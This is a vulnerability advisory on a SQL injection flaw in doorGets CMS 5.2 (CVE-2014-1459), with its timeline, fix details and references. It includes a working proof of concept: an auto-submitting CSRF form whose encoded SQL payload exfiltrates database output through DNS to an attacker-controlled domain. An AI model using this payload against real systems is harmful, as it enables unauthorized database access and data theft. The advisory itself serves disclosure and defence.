SQL Injection in doorGets CMS

Advisory ID:HTB23197
Product:doorGets CMS
Vendor:doorGets
Vulnerable Versions:5.2 and probably prior
Tested Version:5.2
Advisory Publication:January 15, 2014 [without technical details]
Vendor Notification:January 15, 2014
Vendor Fix:January 15, 2014
Public Disclosure:February 5, 2014
Latest Update:January 22, 2014
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2014-1459
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in doorGets CMS, which can be exploited to perform SQL Injection attacks.

1) SQL Injection in doorGets CMS: CVE-2014-1459
The vulnerability exists due to insufficient validation of "_position_down_id" HTTP POST parameter passed to "/dg-admin/index.php" script. A remote attacker with access to administrative interface can execute arbitrary SQL commands in application's database. This vulnerability however can be exploited by a remote unauthenticated user via CSRF vector.
The following exploitation example is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will use a CSRF vector to send a DNS request demanding IP addess for `version()` (or any other sensetive output from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker):
<form action="http://[host]/dg-admin/?controller=rubriques" method="post" name="main">
<input type="hidden" name="_position_down_id" value="1 AND 1=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) -- ">
<input type="hidden" name="_position_down_position" value="1">
<input type="hidden" name="_position_down_submit" value="1">
<input type="hidden" name="_position_down_type" value="down">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</scr ipt>

How to Detect SQL Injection Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Solution:
Fixed by vendor on January 15, 2014 directly in the source code without version modification/new release. Update to the version 5.2 released after January 15, 2014.

More Information:
https://github.com/doorgets/doorGets/commit/6b81541fc1e5dd1c70614585c1a04d04ccdb3b19


References:
[1] High-Tech Bridge Advisory HTB23197 - https://www.immuniweb.com/advisory/HTB23197 - SQL Injection in doorGets CMS.
[2] doorGets CMS - http://www.doorgets.com - doorGets CMS is a free content management system (CMS), that allows you to create easily your corporate or personal website.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Solutions
Get a Demo
Newsletter